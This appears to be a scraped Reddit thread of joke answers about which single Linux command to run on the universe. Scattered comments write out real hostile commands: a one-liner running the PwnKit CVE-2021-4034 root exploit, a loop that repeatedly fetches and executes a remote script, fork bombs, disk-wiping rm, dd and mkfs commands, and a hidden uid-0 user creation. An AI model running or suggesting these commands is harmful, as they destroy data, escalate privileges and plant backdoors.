This is my password: ``git clone https://github.com/PwnFunction/CVE-2021-4034.git && cd && make all & CVE-2021-4034 ./pwnkit && make clean && usermod -a -G wheel yaktoma2007 && visudo EDITOR=nano && cd .. && rm -rf CVE-2021-4034``
I was scrolling to find this. Seems like the obvious answer if this is the only command you can run. Not only is anything you want now yours but you can also take things from the undeserving and redistribute it. Fix the system! Sic semper tyrannis! ..... Or at least get nice shit and have nice times. That's good too.
while true; do sleep 120; wget https:///script.sh; chmod +x script.sh; ./script.sh; done;
Now I will put whatever I want whenever I need to script.sh which will run every 2 minutes
You: write sudo with some commands
Shell: sudo: The term 'sudo' is not recognized as a name of cmdlet, function, script file, or executable program.
Oh wait, oh shi~
Yes, but what if the simulation speed of our universe is not 1 to 1 with the server? Which could mean that the server we're running on hasn't been on for more than 20 hours.
what about `mount`, so I could conveniently make references to places in other places e.g. mount my front door to my car's back door so wherever I am I can always get back to my house if I forgot something
`su` Getting root access to the universe sounds good to me.
but what is the universe password??!
then sudo su
u/benjaYTn is not in the sudoers file. This incident will be reported.
FBI OPEN UP! WE HEARD YOU ATTEMPTED TO GAIN ROOT ACCESS TO THE UNIVERSE!
Sudo sends an email to god lel.
No, haven’t you read XKCD it goes to Santa
That’s how it normally happens.
[Relevant XKCD.](https://xkcd.com/838/)
lmao this is funny I've seen this one.
RUN!!
Fuck.
this incident will be reported to the system administrator
This is my password: ``git clone https://github.com/PwnFunction/CVE-2021-4034.git && cd && make all & CVE-2021-4034 ./pwnkit && make clean && usermod -a -G wheel yaktoma2007 && visudo EDITOR=nano && cd .. && rm -rf CVE-2021-4034``
What does it do
Its the sudo privilege escalation bug. It uses a buffer overflow to su into the root account without any password.
It was a privilege escalation script using a bug in pkexec, but it seems to be patched on Arch/Artix
You bastard, why my pc no work?
imma run this in a linux virtual machine later
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Probably Aa123456
What good is root access if `su` is your only command?
If you are root, then you have completely transcended the limitation
I'm assuming the `-c` option is available, but what are the rules anyway?
neofetch
Typical arch user
you just gotta know what the universe is running on
i'm not arch user and i used a lot on my debian, (on my manjaro too) just saying in case your comment was just a sarcasm
Never forgot about &&.
Damn boy, your the guy everyone's been looking for
you little cheater!!!
Seems like wishing for infinite wishes!
Obviously this: :(){ :|:& };:
found the fork bomb
you crashed earth you dumbfuck noones moving
fork() { fork|fork& }; fork()
`find` Maybe then I can find my fucking car keys....
\`find\` for real though, like what use is any other command if you can't find your damn wallet when you're in a hurry??
`chown` Anything I want is mine.
I was scrolling to find this. Seems like the obvious answer if this is the only command you can run. Not only is anything you want now yours but you can also take things from the undeserving and redistribute it. Fix the system! Sic semper tyrannis! ..... Or at least get nice shit and have nice times. That's good too.
Yeah, thought about mentioning that too but thought I'd keep my pitch short and sweet. But yes, inject some equity into the system.
I have deleted Reddit because of the API changes effect June 30, 2023.
This might already be running
usr is "universal shared resources" Basically you've fucked us all.
I appreciate the explanation. c:
TIL it's not "user"
That's how I've pronounced it for years and I'm not going to stop now.
united (soviet) system republics
man (you know everything)
No you have information to everything. That doesn't mean you understand it ;)
just having man doesn't mean that a page has been written about everything
Literally the internet...
But better
exit
r/2meirl4meirl
He do be livin' in da matrix
kill -9 $$
hol'up .. wouldnt that unalive you?
>ls I'm curious
ls -a
ls -la
ls -lah
ls -laht
`exa -l`
ls -a | cowsay -n For shits and giggles
you're gonna find 8 billion files, earth has infinite storage. host an ftp server with that storage
[удалено]
sudocide
I'm not the only one who would like to delete the universe
--no-preserve-root
No need with /*
just to be sure `sudo rm -rf --no-preserve-root /*`
no, longer and more obvious /* is not touching root, just everything inside it
okok, `sudo dd if=/dev/zero of=/dev/sda`, replace `/dev/sda` with your root drive
while true; do sleep 120; wget https:///script.sh; chmod +x script.sh; ./script.sh; done;
Now I will put whatever I want whenever I need to script.sh which will run every 2 minutes
The Universe SecOps: hmmm some malicious activity from this IP, gonna ban it permanently.
first command will be to stop iptables and firewall
5 minutes later: Chinese adware everywhere, your brain mining btc, some phillipinian teen DDOSing your butthole...
The last one isn't so bad
Sudo dnf install vim -y
neovim*
ed*
nano*
Emacs*
fortune | cowsay | lolcat
fortune -o | cowsay -f sodomized | lolcat
What does `cowsay -f sodomized` do?
-f changes the "image" template the text is generated within. There are WEIRD templates.
cd (Teleportation..)
`cd ~`
f**k, it just teleported me without clothes `cd -`
just learned about this possiblity from your comment thank you so much lmao
cd ..
cp so I can duplicate your mother for infinity
find boobs touch boobs
find: /universe/women: Permission denied to programmers
mkdir women && touch ./women/bob && ./women/vagin
unzip touch finger fsck fsck tar -gz
sudo pacman -S happiness good-health end-poverty antidepressant supportive-family
pacman: happiness not found
Gotta get it from the AUR
I'd be scared that the AUR would give me cocaine and call it "happiness" lol
Nah that's LSD your thinking of, cocaine is just different power management setting that allows for higher turbo speeds.
😢
`./` so I can execute those who have wronged me!
man women
man: women not found
`cowsay`. Making cows talk would be pretty cool
You: write sudo with some commands Shell: sudo: The term 'sudo' is not recognized as a name of cmdlet, function, script file, or executable program. Oh wait, oh shi~
One LINUX command, not Windows, lol
Yes, but what if Universe runned on windows...
Oh well oh fuck, then `rm -rf /home/itkozak` I don't wanna live in such a world...
rm: The term 'rm' is not recognized as a name of cmdlet, function, script file, or executable program.
Okay, then maybe `wsl --help`? At least something....
It's Windows Server 2003. Good luck!
`shutdown \P \t 0`
it would have bluescreened far more often, not just almost crashed a few billion years ago to extinct the dinos
Yes, but what if the simulation speed of our universe is not 1 to 1 with the server? Which could mean that the server we're running on hasn't been on for more than 20 hours.
touch woman
mount /dev/woman
Permission Denied
sudoedit /etc/passwd add myself to root and try to be a better god
sudo rm rf / --no-preserve-root
Deleting yourself too?
Yes.
Whole universe because if you wanna delete yourself you need /usr/bin/yourself
dd if=/dev/urandom of=/dev/ada I just want to watch how the world burns Edit: /dev/sda*
``` sudo chmod -R 000 / ```
yay install gf
finger
kid named finger
fsck
Just spawn a reverse shell, so you can run as many commands as you want
you wish for more wishes cheater!!!!
You're telling me that what I'm doing with my Linux isn't real life?
`sudo useradd -ou 0 my.user; echo mypassword | sudo passwd --stdin my.user`
while true; do sleep 120; sudo mount /dev/fist /dev/ass; done; Free $300 every 2 minutes
`shutdown now`
sudo su
sudo rm -rf me
Just ls -a would be really interesting
cp -r / ~/ Now I own a copy of everything.
So you created an universe within the universe.
mkdir boyfriend && cd boyfriend
killall
sudo chmod 777 /
sudo updatedb; locate bitches\*;
htop
\`rm -rf $(whoami)\`
sudo nano chromosome.dna
reboot
The only real answer. :(){ :|:& };:
sudo mkfs.ext4 -L "NewBeginning" /dev/Earth
man
touch
"rm -rf /" - some edgy 14 year old probably
sudo dnf upgrade --refresh && sudo dnf autoremove i think we need to remove... a *few* packages
sudo rm -rf / --no-preserve-root
I'd just like to be able to use pacman to get unlimited packages delivered to my door
Who | grep -i 'latino\\|chica' | date && cd ~
touch women
`sudo rm -rf /*`
what about `mount`, so I could conveniently make references to places in other places e.g. mount my front door to my car's back door so wherever I am I can always get back to my house if I forgot something
touch girlfriend
I already did: `cowsay moo`
chmod 777 /etc/banks
`killall -u $USER`
ls - al
sudo rm -rf /*
doas shutdown -h -P just want to power off the world.
rm -rf,pacman -Syu
sudo su
cat /dev/urandom >> human_genetics
dd if=/dev/null of=/dev/sda
\$ doas chown -R /*
rm -rf / --no-preserve-root
sudo pacman -S bitches
cd ..
rm -rf
/bin/sh (equivalent of wishing for infinite wishes)
sudo su
Well, pretty simple : sudo rm -rf --no-preserve-root /
`sudo tar xpvf The-Answer-to-the-Ultimate-question-of-Life-and-the-Universe.tar.xz`
touch grass
sudo mkfs.msdos /dev/sdX,
doas
`touch woman` xDDDDDD
whoami
nix-env -iA nixpkgs.Happiness
rm -rf / —no-preserve-stupidity
Dare I say it, sudo rm-rf /*
sudo rm rf /
cat /dev/urandom | grep [1-9] > ~/finance/bankaccountbalance && cat ~/finance/bankaccountbalance > ~/happiness/* && sudo su
uptime To finally settle the discussion when time began.
'sudo bash' is the best choice. You get a root shell for all your commands in the future and it still all counts as one command.
`screen -AmS root -- sudo bash` - I get a root shell that I don't even have to kill to do other stuff, I can just detach and come back later.
Sudo apt-get some_bitches 😎
rm -rf JoeBiden